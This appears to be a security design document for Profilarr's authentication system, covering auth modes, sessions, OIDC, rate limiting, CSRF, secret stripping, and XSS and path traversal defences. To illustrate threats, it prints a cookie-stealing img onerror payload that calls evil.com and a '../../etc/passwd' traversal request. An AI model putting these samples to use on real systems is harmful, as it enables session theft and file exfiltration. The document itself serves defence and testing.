27 KiB
Auth System
Table of Contents
Overview
Why security matters
Profilarr stores credentials for connected services: arr API keys, GitHub PATs, AI API keys, TMDB keys, and notification webhooks.
The arr keys are the biggest risk. Sonarr/Radarr store indexer and tracker API keys internally - exposing an arr API key gives access to the arr's full API, which can retrieve all configured indexer credentials.
Ideally Profilarr never touches the open internet. Users should be connecting via a VPN, Tailscale, or sitting behind an authenticating reverse proxy. The built-in auth exists as a safety net - if someone does expose it, they're not immediately wide open. As Seraphys (Dictionarry's Database Maintainer) likes to say - It's stupidity mitigation. Patent Pending.
Defence in depth
- Authentication - gate access via username/password, OIDC, or API key.
Enforced by
getAuthState()in middleware andhandle()in the server hook. - Data exposure controls - authenticated users never see raw secrets. The
frontend receives boolean flags (
hasApiKey,hasPat) instead of actual values. Secrets are also stripped from backup downloads. - Filesystem is the trust boundary - encrypting secrets at rest would be theatre since the decryption key would also be on disk. Filesystem security (containers, unprivileged users, volume permissions) is the user's responsibility.
Auth Modes
Set via AUTH env var. All modes except off also support API key auth via
X-Api-Key header and an optional local bypass toggle.
| Variable | Default | Description | Example |
|---|---|---|---|
AUTH |
on |
Auth mode: on, off, oidc |
oidc |
ORIGIN |
- | Scheme + host for reverse proxy (CSRF, cookies, OIDC) | https://profilarr.mydomain.com |
OIDC_DISCOVERY_URL |
- | OIDC provider discovery endpoint (AUTH=oidc only) | https://auth.mydomain.com/.well-known/openid-configuration |
OIDC_CLIENT_ID |
- | OIDC client ID (AUTH=oidc only) | profilarr |
OIDC_CLIENT_SECRET |
- | OIDC client secret (AUTH=oidc only) | your-secret |
AUTH=on (default)
Username/password login with session-based auth. On first run, the user is
redirected to /auth/setup to create an admin account. Passwords are
bcrypt-hashed. Sessions default to 7 days with sliding expiration - matching
Sonarr's approach (ASP.NET's SlidingExpiration), which re-issues when more
than halfway through the expiration window. Sonarr uses ASP.NET's built-in
cookie middleware for this; we implement it manually against SQLite in
maybeExtendSession().
Sessions
Stored in the sessions table with metadata: IP, user agent, browser, OS,
device type, last active. Duration is configured in
auth_settings.session_duration_hours (default 7 days). Sliding expiration
extends the session when less than half the duration remains. Expired sessions
are cleaned up on startup. Users can view active sessions, revoke individual
sessions, or revoke all others via Settings > Security.
Cookie properties:
| Property | Value |
|---|---|
httpOnly |
true |
sameSite |
lax |
secure |
true when ORIGIN starts with https:// |
path |
/ |
AUTH=oidc
Delegates authentication to an external OIDC provider (Authentik, Keycloak,
Google, etc.). The login page shows a "Sign in with SSO" button instead of a
password form. The flow uses state cookies for CSRF protection, nonce cookies
for token replay prevention, and verifies JWT signatures via the provider's JWKS
endpoint using the jose library. OIDC users are stored with an oidc:
username prefix. Sessions work the same as AUTH=on.
sequenceDiagram
participant B as Browser
participant P as Profilarr
participant IDP as OIDC Provider
B->>P: GET /auth/oidc/login
P->>P: Generate state + nonce
P->>P: Store in cookies (10min TTL)
P->>B: 302 to IDP authorization URL
B->>IDP: User authenticates
IDP->>B: 302 to /auth/oidc/callback?code=...&state=...
B->>P: GET /auth/oidc/callback
P->>P: Verify state matches cookie (CSRF)
P->>IDP: Exchange code for tokens
IDP->>P: id_token + access_token
P->>P: Verify JWT signature via JWKS (jose)
P->>P: Verify issuer, audience, expiry
P->>P: Verify nonce matches cookie (replay)
P->>P: Get or create OIDC user (sub)
P->>P: Create session
P->>B: Set session cookie, redirect /
AUTH=off
No auth checks. All requests are allowed through. Intended for deployments behind an authenticating reverse proxy like Authelia or Authentik. The setup page is blocked in this mode since there's no local user to create.
Local Bypass
Separate from auth modes - a DB-backed toggle in
auth_settings.local_bypass_enabled, managed via Settings > Security. Works
alongside on and oidc modes.
When enabled, requests from local network IPs skip auth entirely. If no local
user exists yet, the setup flow is still enforced. Based on Sonarr's
DisabledForLocalAddresses auth type, which uses the same approach - check the
remote IP against private ranges and bypass auth if it matches (see
IpAddressExtensions.cs and UiAuthorizationHandler.cs in Sonarr's source).
Recognised local ranges: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12,
192.168.0.0/16, 169.254.0.0/16 (IPv4), ::1, fe80::/10, fc00::/7,
fec0::/10 (IPv6). IPv6-mapped IPv4 addresses (::ffff:192.168.x.x) are also
handled. Unlike Sonarr, we don't currently support CGNAT (100.64.0.0/10).
API Key
Available in all modes except AUTH=off. Checked before local bypass and
session checks in the request flow.
- Header:
X-Api-Key - Scoped to
/api/paths only. Browser pages and SvelteKit form actions require a real session. Requests with a valid API key to non-API paths get 403. This prevents the API key from being used as a second admin login (e.g. regenerating its own key or toggling local bypass via settings form actions). When/api/internal/routes exist, API key auth will be excluded from those too. - Key is bcrypt-hashed in the database - never stored as plaintext
regenerateApiKey()returns the plaintext key once for the user to copy; only the hash is persisted- Validation uses async bcrypt
verify()against the stored hash - Invalid keys are logged with a masked value (
****+ last 4 chars)
Request Flow
flowchart TD
REQ[Incoming Request] --> GAS[getAuthState]
GAS --> OFF{AUTH=off?}
OFF -->|Yes| S_OFF["skipAuth=true
needsSetup=false
user=null"]
OFF -->|No| APIKEY{"X-Api-Key
header present?"}
APIKEY -->|Valid| S_API["skipAuth=false
needsSetup=false
user=api"]
APIKEY -->|Invalid| LOG_BAD[Log warning] --> BYPASS
APIKEY -->|No header| BYPASS
BYPASS{"Local bypass
enabled in DB?"}
BYPASS -->|Yes| LOCAL_IP{"Client IP
local?"}
LOCAL_IP -->|Yes| S_LOCAL["skipAuth=true
needsSetup=!hasLocalUsers
user=null"]
LOCAL_IP -->|No| OIDC
BYPASS -->|No| OIDC
OIDC{AUTH=oidc?}
OIDC -->|Yes| SESS_OIDC[Check session cookie] --> S_OIDC["skipAuth=false
needsSetup=false
user=session user or null"]
OIDC -->|No| SESS_ON["Check session cookie
AUTH=on"] --> S_ON["skipAuth=false
needsSetup=!hasLocalUsers
user=session user or null"]
S_OFF --> HOOK
S_API --> HOOK
S_LOCAL --> HOOK
S_OIDC --> HOOK
S_ON --> HOOK
HOOK[handle hook]
HOOK --> NEED_SETUP{needsSetup?}
NEED_SETUP -->|Yes| IS_SETUP{Path = /auth/setup?}
IS_SETUP -->|Yes| RESOLVE[Resolve]
IS_SETUP -->|No| R_SETUP[Redirect /auth/setup]
NEED_SETUP -->|No| SKIP{skipAuth?}
SKIP -->|Yes| RESOLVE
SKIP -->|No| BLOCK_SETUP{Path = /auth/setup?}
BLOCK_SETUP -->|Yes| R_HOME[Redirect /]
BLOCK_SETUP -->|No| PUBLIC{Public path?}
PUBLIC -->|Yes| RESOLVE
PUBLIC -->|No| HAS_USER{auth.user?}
HAS_USER -->|Yes + session| EXTEND[Sliding expiration] --> ATTACH[Attach to locals] --> RESOLVE
HAS_USER -->|Yes, API key| ATTACH
HAS_USER -->|No| IS_API{/api path?}
IS_API -->|Yes| RESP_401[401 JSON]
IS_API -->|No| R_LOGIN[Redirect /auth/login]
style RESOLVE fill:#059669,color:#fff
style RESP_401 fill:#dc2626,color:#fff
style R_SETUP fill:#d97706,color:#fff
style R_HOME fill:#d97706,color:#fff
style R_LOGIN fill:#d97706,color:#fff
Security Features
Hashing
Passwords and the Profilarr API key are both bcrypt-hashed. Passwords are hashed
at account creation and password change. The API key is hashed at generation
time (migration 057 cleared any legacy plaintext keys); regenerateApiKey()
returns the plaintext once for the user to copy, then only the hash is
persisted. Validation uses async bcrypt verify() in both cases.
This differs from most apps in the arr ecosystem. Sonarr, Radarr, and similar tools store their API keys as plaintext in the database and always display them to authenticated users in settings. Profilarr treats the API key more like a password - hashed on storage, shown once at generation, never retrievable afterward. This is closer to how services like GitHub and Stripe handle API keys.
Rate Limiting
Login endpoint (/auth/login) has SQLite-backed rate limiting with a 15-minute
window. Failed attempts are categorized to apply different thresholds:
| Category | Threshold | Trigger |
|---|---|---|
suspicious |
3 | Common attack usernames (admin, root, test, guest, etc.) |
typo |
10 | Wrong password for existing user, or Levenshtein distance <= 2 |
unknown |
10 | Everything else |
Rate limit state is stored in SQLite rather than in-memory. An in-memory counter resets on process restart - if an attacker can trigger repeated crashes (and the process manager auto-restarts), they can brute-force credentials by resetting the rate limit with each crash. SQLite persistence survives restarts, so accumulated attempts are never lost.
Attempts are cleared on successful login and expired attempts are cleaned up on startup.
Rate limiting uses the real TCP connection address
(getClientIp(event, false)), not proxy headers. This prevents an attacker from
bypassing the rate limit by rotating X-Forwarded-For values with each request.
Session metadata (the IP shown in the active sessions list) still uses proxy
headers so users behind a reverse proxy see the correct client IP for display
purposes.
CSRF & Reverse Proxies
SvelteKit's CSRF check compares the Origin request header against
new URL(request.url).origin. The official @sveltejs/adapter-node rewrites
request.url using the ORIGIN env var, so this works behind reverse proxies.
The Deno adapter (sveltekit-adapter-deno) does not do this. It passes
request.url straight from Deno.serve, which is always the internal server
URL (e.g. http://localhost:6868). Behind a reverse proxy:
Browser: POST /auth/login
Origin: https://profilarr.mydomain.com <- from address bar
SvelteKit sees:
request.url.origin = http://localhost:6868 <- actual server URL
Origin header = https://profilarr.mydomain.com
Mismatch -> 403 "Cross-site POST form submissions are forbidden"
The fix (src/adapter/files/mod.ts): rewrites request.url when ORIGIN
is set, matching adapter-node behaviour:
let req = request;
const origin = Deno.env.get('ORIGIN');
if (origin) {
const url = new URL(request.url);
req = new Request(`${origin}${url.pathname}${url.search}`, request);
}
return server.respond(req, { getClientAddress: () => clientAddress });
Notes:
adapter-nodeisn't an option - it outputs JS for Node.js. Profilarr compiles to a single Deno binary viadeno compile.csrf.trustedOriginsisn't an option - it's build-time config insvelte.config.js, so users can't set their own domain at deploy time.
Protected Paths
Every route is protected by default - the server hook rejects unauthenticated
requests unless the path is explicitly allowlisted in publicPaths.ts. This is
the first line of defence and needs to be airtight: a missing entry redirects to
login, but an overly broad allowlist exposes protected pages to the internet.
New public paths must be added deliberately with a clear reason.
The current public allowlist:
| Path | Why public |
|---|---|
/auth/setup |
First-run setup - no credentials exist yet |
/auth/login |
Must be reachable to authenticate |
/auth/oidc/login |
Initiates redirect to external OIDC provider |
/auth/oidc/callback |
Provider redirects back here after authentication |
/api/v1/health |
Uptime monitors need this without credentials |
Everything else requires a valid session, API key, or local bypass.
/auth/logout is not public - it requires an existing session to clear.
Page-level guards add further restrictions on top:
/auth/setupredirects to/if AUTH=off or a local user already exists/auth/loginredirects to/auth/setupif no local users exist (AUTH=on), or shows SSO button (AUTH=oidc)
Secret Stripping
Secrets are stripped at two levels:
- Frontend responses - server-side load functions replace sensitive fields
with boolean flags (
hasApiKey,hasPat). Webhook URLs are omitted from notification config. Password hashes never leave the server. - Backup downloads - the DB copy inside the archive has all secrets nulled
(
arr_instances.api_key,database_instances.personal_access_token,auth_settings.api_key,ai_settings.api_key,tmdb_settings.api_key), notification configs cleared, and auth tables (users,sessions,login_attempts) emptied. The production database is never touched.
XSS via Markdown / {@html}
Svelte's {@html} directive renders raw HTML without escaping. Any content that
flows through {@html} without sanitisation is an XSS vector.
The attack: Profilarr clones PCD databases maintained by community developers. These databases contain markdown fields - quality profile descriptions, custom format descriptions, etc. A malicious or compromised developer could inject JavaScript into a description field:
Great profile for 1080p
<!-- <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)"> -->
Every user who clones that database would execute the payload whenever the description renders. The attacker could steal session cookies, exfiltrate API keys displayed on the page, or redirect to a phishing page - all without needing to authenticate.
Mitigation: The Markdown.svelte component (the primary markdown renderer)
passes all marked.parse() output through sanitizeHtml() from
$shared/utils/sanitize.ts before rendering with {@html}. The sanitizer
strips <script> tags, event handlers (onerror, onclick, etc.), and any
tags/attributes not on an explicit allowlist. URL attributes (href, src) are
decoded (HTML entities, whitespace) and validated against a protocol allowlist
(http:, https:, mailto:) before being emitted, which prevents
entity-encoded (javascript:) and whitespace-obfuscated (java\nscript:)
bypass variants.
The same sanitizeHtml() function is used server-side in
$utils/markdown/markdown.ts for any markdown rendered in load functions.
Semgrep enforcement: Custom rules in tests/scan/semgrep/xss.yml flag any
use of marked.parse() in Svelte files and any raw variable in {@html},
ensuring new code is reviewed for sanitisation. Because Semgrep uses regex
matching for Svelte (no AST support), it cannot verify that sanitisation wraps
the call - verified-safe instances use nosemgrep comments with justification.
Path Traversal
Several endpoints accept client-supplied file paths (for selective commits,
previews, and AI commit message generation). Without validation, an attacker
with a valid session or API key could use ../../ sequences or absolute paths
to escape the repository boundary and read or copy arbitrary files.
The attack: An authenticated user sends a POST to
/api/databases/[id]/generate-commit-message with
{ "files": ["../../etc/passwd"] }. The server resolves this relative to the
database's local_path, reads the file content via Deno.readTextFile, and
sends it to the configured AI provider. The attacker exfiltrates arbitrary
server files through the AI proxy. The commit and preview endpoints have similar
vectors via Deno.copyFile and getDiff().
A subtler variant uses symlinks. A malicious PCD database maintainer commits a
symlink (evil -> /etc) into their repo. Git tracks symlinks as blob entries,
so it survives clone. A path like evil/passwd passes a naive lexical check (it
resolves inside the repo directory) but follows the symlink to /etc/passwd
when the filesystem actually reads it.
Mitigation: validateFilePaths() in $utils/paths.ts checks every
client-supplied path before any filesystem operation:
- Rejects absolute paths (
/etc/passwd) - Resolves relative paths against the repo root and verifies the result stays
within the boundary (lexical
startsWithcheck) - Follows symlinks via
Deno.realPathSync()and verifies the real path is still within the boundary (catches symlink escapes)
Known limitation: The boundary check uses POSIX path separators (/). If
Windows becomes a supported deployment target, this will need to handle
backslash-separated paths from resolve() on Windows.
Validation is applied at three layers:
- Route handlers (
+server.ts,+page.server.ts) - early reject with HTTP 400 before any work begins - Exporter functions (
previewDraftOps,exportDraftOps) - defense in depth before clone/copy operations getDiff()- defense in depth so any future callers are also protected
Test Coverage
Unit Tests (tests/unit/auth/)
Pure function tests for the core auth utilities - IP classification, path allowlisting, and login failure analysis. No server instances or network calls needed.
| File | Tests |
|---|---|
network.test.ts |
IPv4/IPv6 local classification, boundary addresses, getClientIp with trustProxy on/off |
publicPaths.test.ts |
Public vs protected path matching, prefix vs exact, no overly broad allowlist entries |
loginAnalysis.test.ts |
Attack username detection, Levenshtein typo matching (1-2 edits), failure categorization |
Sanitize tests (tests/unit/sanitize/):
| File | Tests |
|---|---|
sanitize.test.ts |
Entity-encoded/case-varied/whitespace-obfuscated javascript: bypass, allowed/disallowed tags |
Integration Tests (tests/integration/auth/specs/)
Each spec boots an isolated server instance and tests a specific auth behaviour
end-to-end over HTTP. Uses a custom test harness with TestClient (cookie jar),
ServerManager, and Docker Compose for OIDC/TLS scenarios. Specs auto-discover
and run in parallel via deno task test integration.
| File | Port | Tests |
|---|---|---|
health.test.ts |
7001 | Public health vs authenticated diagnostics, no info disclosure |
csrf.test.ts |
7002, 7012, 7014 | Origin checking, no-origin fallback, reverse proxy CSRF with adapter rewrite |
cookie.test.ts |
7003, 7013 | Secure flag (HTTPS vs HTTP), httpOnly, SameSite, path, expiration |
apiKey.test.ts |
7004 | Valid/invalid key, header-only, 401 on missing, 403 for non-API paths |
session.test.ts |
7005 | Redirect flow, expiration, sliding expiration halfway extend, 401 JSON, logout CSRF protection |
oidc.test.ts |
7006, 7009, 7010 | Full OIDC flow, state/nonce tampering, AUTH=on rejection, proxy flow |
rateLimit.test.ts |
7007 | Suspicious/typo thresholds, successful login clears, window expiry |
proxy.test.ts |
7008 | Full flow through Caddy TLS, X-Forwarded-For recording, CSRF through proxy |
xForwardedFor.test.ts |
7015 | Spoofed header limited to session metadata; local bypass and login throttling use real TCP |
secretExposure.test.ts |
7016 | 16 page checks - no raw secrets in frontend responses (assumes stolen session) |
backupSecrets.test.ts |
7017 | 9 checks - backup DB copy has all secrets stripped, auth tables emptied |
pathTraversal.test.ts |
7018 | 15 checks - ../ , absolute path, and symlink escape rejection across 3 endpoints |
E2E Tests (tests/e2e/auth/)
Browser-level Playwright tests that drive the real user experience. Uses
deno task test e2e auth with Docker Compose (mock-oauth2-server + Caddy).
| File | Tests |
|---|---|
oidc.spec.ts |
Full OIDC login flow in browser, both direct and through proxy |
Security Scans (tests/scan/)
Security scans run via the test runner. Semgrep is intended to run in CI/CD as a blocking check. ZAP is manual-only, run periodically for spot checks.
SAST - Semgrep
Static Application Security Testing. Scans source code for vulnerabilities without running the application.
deno task test semgrep # full scan: custom rules + community rulesets
deno task test semgrep --quick # custom rules only (faster, for iteration)
The full scan uses --error so it exits non-zero on any finding. The goal is
zero findings - any unresolved finding is either a real bug to fix or a false
positive to suppress with a justification comment.
Community rulesets (from Semgrep Registry):
p/default,p/owasp-top-ten,p/security-audit(general security)p/typescript,p/javascript,p/nodejs(language-specific)p/csharp(for the C# parser service)
Custom rulesets (tests/scan/semgrep/):
| File | What it catches |
|---|---|
xss.yml |
{@html} without sanitisation, marked.parse() in Svelte, unescaped table cells |
sql.yml |
Template literal interpolation in SQL (exempts known-safe patterns) |
secrets.yml |
Sensitive field names in logger metadata |
deno.yml |
Deno-specific patterns (file I/O review) |
csharp.yml |
C# parser service patterns (file I/O review) |
Suppressing false positives: Use nosemgrep with the full rule ID and a
justification. The comment must be on the matched line or the line immediately
before it. Semgrep ignores comments separated by intervening lines.
// nosemgrep: profilarr.xss.table-cell-html-unescaped - all values use escapeHtml()
html: `<div>${escapeHtml(row.name)}</div>`;
For Svelte templates where JS comments aren't valid, use an HTML comment on the
same line as the {@html}:
{@html parseMarkdown(text)}<!-- nosemgrep: profilarr.xss.at-html-usage -->
Limitations:
- Community rules are free-tier only (no cross-file taint analysis)
- Svelte files use generic/regex matching, not AST. Rules can't trace data flow
through function calls, so sanitised-but-flagged code needs
nosemgrep - No dependency vulnerability scanning (Semgrep Supply Chain requires login)
DAST - OWASP ZAP
Dynamic Application Security Testing. Runs a live scan against compiled
Profilarr instances to find runtime vulnerabilities (missing headers, cookie
issues, information disclosure, etc.). Requires deno task build and Docker.
deno task test zap --baseline # passive scan (spider + check responses)
deno task test zap --full # passive + active attacks (SQLi, XSS, etc.)
deno task test zap --api # API scan against OpenAPI spec (not yet implemented)
Each mode starts two servers and runs ZAP against both:
| Port | Config | Purpose |
|---|---|---|
| 7090 | AUTH=on | Unauthenticated - tests what an outsider sees |
| 7091 | AUTH=off | Full crawl - ZAP can reach all routes |
The --api mode will scan the OpenAPI spec once the API overhaul lands (see
docs/todo/api-overhaul.md). Uses the -I flag so warnings don't fail the
scan - only errors do.
Infrastructure
- Test harness: custom runner,
TestClientwith cookie jar,ServerManagerfor isolated instances - Docker Compose: mock-oauth2-server (port 9090) + Caddy (TLS termination) for OIDC and proxy tests
- Runner:
tests/runner.ts- unified CLI (deno task test) handles unit, integration, e2e, and security scans with subcommands